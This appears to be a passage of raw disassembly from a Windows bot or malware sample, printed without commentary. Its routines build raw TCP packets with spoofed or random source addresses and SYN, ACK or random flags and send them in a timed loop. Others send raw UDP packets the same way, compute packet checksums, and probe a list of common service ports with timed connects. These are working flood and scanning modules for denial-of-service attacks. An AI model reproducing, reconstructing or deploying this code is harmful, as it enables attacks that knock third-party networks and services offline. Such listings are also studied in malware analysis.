jnz short loc_414B78
lea eax, [ebp+var_440]
push offset unk_437BCC
push eax
call sub_41C266
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_414B58
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414B58: ; CODE XREF: sub_4149C1+172j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414B78: ; CODE XREF: sub_4149C1+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4CB9D4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_414BB0: ; CODE XREF: sub_4149C1+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_414E74
push 28h
mov [ebp+var_2C], 45h
call dword_4CB9D4 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414C23
call sub_41C2C2
mov esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_414C39
; ---------------------------------------------------------------------------
loc_414C23: ; CODE XREF: sub_4149C1+233j
push [ebp+var_240]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_20], eax
loc_414C39: ; CODE XREF: sub_4149C1+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414C57
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414C5D
; ---------------------------------------------------------------------------
loc_414C57: ; CODE XREF: sub_4149C1+284j
push [ebp+var_B8]
loc_414C5D: ; CODE XREF: sub_4149C1+294j
call dword_4CB9D4 ; htons
mov [ebp+var_16], ax
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_4CB9D0 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414CAD
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CAD: ; CODE XREF: sub_4149C1+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414CCD
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CCD: ; CODE XREF: sub_4149C1+301j
lea eax, [ebp+var_1BC]
push offset aRandom_0 ; "random"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414D09
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414D09: ; CODE XREF: sub_4149C1+2EAj
; sub_4149C1+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4CB9D4 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CB9D4 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_41CD20
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414DF6
inc [ebp+arg_0]
jmp loc_414BB0
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_4149C1+42Bj
push [ebp+var_4]
call dword_4CBA6C ; closesocket
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_437B7C
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41C360
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414E54
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414E54: ; CODE XREF: sub_4149C1+46Ej
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414E74: ; CODE XREF: sub_4149C1+203j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_437B2C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_414EE5
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414EE5: ; CODE XREF: sub_4149C1+4FFj
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_4149C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F05 proc near ; CODE XREF: sub_41500F+19Ap
; sub_41500F+1A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: sub_414F05+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: sub_414F05+12j
jnz short loc_414F3E
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_414F3E: ; CODE XREF: sub_414F05:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F57 proc near ; DATA XREF: sub_401ACD+6C68o
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA14 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_41500F
add esp, 19Ch
push eax
lea eax, [ebp+var_394]
push offset unk_437C58
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414FF2
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409869
add esp, 14h
loc_414FF2: ; CODE XREF: sub_414F57+79j
lea eax, [ebp+var_394]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
sub_414F57 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41500F proc near ; CODE XREF: sub_414F57+54p
var_CC = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
var_28 = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, ds:dword_4270B0
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4CBA54 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
mov edi, 578h
push edi
push 9
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
lea eax, [ebp+var_28]
push eax
call sub_41BF70
add esp, 0Ch
mov esi, 5A0h
loc_415069: ; CODE XREF: sub_41500F+235j
call ds:dword_4270B0 ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_415249
cmp dword_4CF180, ebx
jnz short loc_4150E8
push 10h
pop eax
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_68]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
push 0FFh
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+var_CC]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C266
add esp, 18h
jmp short loc_4150FB
; ---------------------------------------------------------------------------
loc_4150E8: ; CODE XREF: sub_41500F+7Ej
lea eax, [ebp+var_CC]
push offset dword_4CEB60
push eax
call sub_41C890
pop ecx
pop ecx
loc_4150FB: ; CODE XREF: sub_41500F+D7j
lea eax, [ebp+var_CC]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4CB9D4 ; htons
mov [ebp+var_52], ax
call sub_41C2C2
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call sub_41C2C2
mov [ebp+var_40], ax
call sub_41C2C2
mov [ebp+var_3E], ax
call sub_41C2C2
mov [ebp+var_3C], eax
call sub_41C2C2
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_414F05
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_414F05
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call ds:dword_4271F4 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+var_A0]
push 14h
push eax
lea eax, [ebp+var_40]
push eax
call sub_41CD20
lea eax, [ebp+var_8C]
push edi
push eax
lea eax, [ebp+var_28]
push eax
call sub_41CD20
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_414F05
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4CBA38 ; sendto
inc [ebp+var_4]
jmp loc_415069
; ---------------------------------------------------------------------------
loc_415249: ; CODE XREF: sub_41500F+72j
push [ebp+var_8]
call dword_4CBA6C ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41500F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41525A proc near ; DATA XREF: sub_401ACD+4B97o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_4152D1
add esp, 214h
push eax
lea eax, [ebp+var_414]
push offset unk_437C8C
push eax
call sub_41C266
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
add esp, 14h
push 0
call ds:dword_4270D4 ; ExitThread
sub_41525A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152D1 proc near ; CODE XREF: sub_41525A+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_41530F
lea eax, [ebp+var_254]
push offset unk_437E7C
push eax
call sub_41C266
pop ecx
xor edi, edi
pop ecx
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41530F: ; CODE XREF: sub_4152D1+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_41533B
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_437E2C
jmp short loc_415356
; ---------------------------------------------------------------------------
loc_41533B: ; CODE XREF: sub_4152D1+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41536A
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_437DE8
loc_415356: ; CODE XREF: sub_4152D1+68j
lea eax, [ebp+var_254]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41536A: ; CODE XREF: sub_4152D1+77j
push edi
mov [ebp+var_24], 2
call dword_4CB9D4 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_4271F0 ; inet_addr
mov esi, ds:dword_4270B0
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_437DBC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4153D3
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_4153D3: ; CODE XREF: sub_4152D1+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41C159
cmp esi, eax
pop ecx
ja loc_41558E
mov esi, 41Ch
jmp short loc_415407
; ---------------------------------------------------------------------------
loc_415402: ; CODE XREF: sub_4152D1+2B7j
mov ebx, 0FFh
loc_415407: ; CODE XREF: sub_4152D1+12Fj
cmp dword_4CF180, edi
jnz short loc_415461
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
push ebx
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C266
add esp, 18h
jmp short loc_415471
; ---------------------------------------------------------------------------
loc_415461: ; CODE XREF: sub_4152D1+13Cj
lea eax, [ebp+var_54]
push offset dword_4CEB60
push eax
call sub_41C890
pop ecx
pop ecx
loc_415471: ; CODE XREF: sub_4152D1+18Ej
push esi
mov byte_4CED60, 45h
call dword_4CB9D4 ; htons
mov word_4CED62, ax
lea eax, [ebp+var_54]
push eax
mov word_4CED64, 1
mov word_4CED66, di
mov byte_4CED68, 80h
mov byte_4CED69, 11h
mov word_4CED6A, di
call dword_4CBA14 ; inet_addr
mov dword_4CED6C, eax
mov eax, [ebp+var_20]
mov dword_4CED70, eax
lea eax, [ebp+arg_84]
push eax
mov word_4CED7A, di
call sub_41C159
test eax, eax
pop ecx
jnz short loc_4154E9
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_4154E9: ; CODE XREF: sub_4152D1+206j
lea eax, [ebp+arg_84]
push eax
call sub_41C159
pop ecx
push eax
loc_4154F7: ; CODE XREF: sub_4152D1+216j
call dword_4CB9D4 ; htons
mov word_4CED76, ax
call sub_41C2C2
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4CED74, dx
call dword_4CB9D4 ; htons
push 400h
mov word_4CED78, ax
call sub_41C2C2
cdq
idiv ebx
push edx
push offset dword_4CED7C
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4CED60
push [ebp+var_C]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415607
inc [ebp+var_4]
call ds:dword_4270B0 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41C159
cmp ebx, eax
pop ecx
jbe loc_415402
loc_41558E: ; CODE XREF: sub_4152D1+124j
push [ebp+var_C]
call dword_4CBA6C ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41C159
pop ecx
xor edx, edx
mov ecx, eax
mov eax, esi
shr eax, 0Ah
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
push offset unk_437D58
loc_4155C9: ; CODE XREF: sub_4152D1+34Aj
lea eax, [ebp+var_254]
push eax
call sub_41C266
add esp, 18h
loc_4155D8: ; CODE XREF: sub_4152D1+39j
; sub_4152D1+94j
cmp [ebp+arg_20C], edi
jnz short loc_415600
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_415600: ; CODE XREF: sub_4152D1+30Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415607: ; CODE XREF: sub_4152D1+28Bj
push [ebp+var_4]
push esi
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
push offset unk_437CCC
jmp short loc_4155C9
sub_4152D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41561D proc near ; DATA XREF: sub_401ACD+6283o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CBA14 ; inet_addr
push eax
call sub_4157BA
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset unk_437EA8
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4156B2
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_4156B2: ; CODE XREF: sub_41561D+73j
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_41561D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156D1 proc near ; CODE XREF: sub_4157BA+194p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4156FA
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4271F8 ; connect
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: sub_4156D1+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4271E0 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB97C ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: sub_4156D1+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: sub_4156D1+B8j
; sub_4156D1+DCj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: sub_4156D1+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_41578B
lea eax, [ebp+var_210]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: sub_4156D1+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4271C8 ; getsockopt
cmp eax, edi
jz short loc_415765
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: sub_4156D1+24j
; sub_4156D1+8Bj ...
pop edi
pop esi
leave
retn
sub_4156D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157BA proc near ; CODE XREF: sub_41561D+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop eax
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], eax
call ds:dword_4271C4 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4CF1F0, eax
call dword_4CB9B4 ; setsockopt
mov esi, ds:dword_4270B0
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
